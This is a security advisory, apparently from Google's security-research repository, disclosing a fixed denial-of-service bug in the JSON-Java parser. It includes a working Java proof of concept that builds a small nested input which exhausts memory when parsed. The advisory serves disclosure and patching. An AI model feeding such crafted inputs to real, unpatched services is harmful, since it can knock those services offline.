Java: DoS Vulnerability in JSON-JAVA

### Summary A denial of service vulnerability in JSON-Java was discovered by [ClusterFuzz](https://google.github.io/clusterfuzz/). A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used. There are two issues: (1) the parser bug can be used to circumvent a check that is supposed to prevent the key in a JSON object from itself being another JSON object; (2) if a key does end up being a JSON object then it gets converted into a string, using `\` to escape special characters, including `\` itself. So by nesting JSON objects, with a key that is a JSON object that has a key that is a JSON object, and so on, we can get an exponential number of `\` characters in the escaped string. ### Severity High - Because this is an already-fixed DoS vulnerability, the only remaining impact possible is for existing binaries that have not been updated yet. ### Proof of Concept ```java package orgjsonbug; import org.json.JSONObject; /** * Illustrates a bug in JSON-Java. */ public class Bug { private static String makeNested(int depth) { if (depth == 0) { return "{\"a\":1}"; } return "{\"a\":1;\t\0" + makeNested(depth - 1) + ":1}"; } public static void main(String[] args) { String input = makeNested(30); System.out.printf("Input string has length %d: %s\n", input.length(), input); JSONObject output = new JSONObject(input); System.out.printf("Output JSONObject has length %d: %s\n", output.toString().length(), output); } } ``` When run, this reports that the input string has length 367. Then, after a long pause, the program crashes inside new JSONObject with OutOfMemoryError. ### Further Analysis The issue is fixed by [this PR](https://github.com/stleary/JSON-java/pull/759). ### Timeline **Date reported**: 07/14/2023 **Date fixed**: **Date disclosed**: 10/12/2023

Severity from

GitHub (reviewed advisory)

• github.com/google/security-research/security/advisories/GHSA-4jq9-2xhw-jpx7
• github.com/google/security-research